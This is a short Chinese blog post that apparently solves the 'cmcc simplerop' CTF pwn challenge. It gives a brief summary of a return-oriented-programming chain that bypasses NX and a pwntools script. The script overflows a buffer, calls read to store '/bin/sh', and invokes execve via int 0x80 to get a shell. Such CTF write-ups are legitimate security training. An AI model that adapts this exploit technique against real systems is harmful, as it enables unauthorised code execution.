cmcc simplerop

「已注销」

于 2020-05-25 23:58:43 发布

阅读量267

点赞数

CC 4.0 BY-SA版权

分类专栏： pwn

本文链接：https://blog.youkuaiyun.com/pondzhang/article/details/106345406

pwn 专栏收录该内容

38 篇文章

订阅专栏

本文介绍了一种使用ROP（Return Oriented Programming）技巧解决CTF（Capture The Flag）比赛中的简单ROP题目的方法。通过构造特定的payload，绕过NX保护，调用read函数读取/bin/sh到内存，再通过int 0x80系统调用执行shell。文中详细展示了如何使用pwn工具库进行ROP攻击，包括寻找函数地址、构造payload等关键步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

from pwn import *
p = process('./simplerop')
p.recv()
int80_addr = 0x080493e1
pop_eax = 0x080bae06
read = 0x0806CD50
binsh = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850
payload = 'a'*0x20 + p32(read) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh) + p32(0x8)
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh) + p32(int80_addr)
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()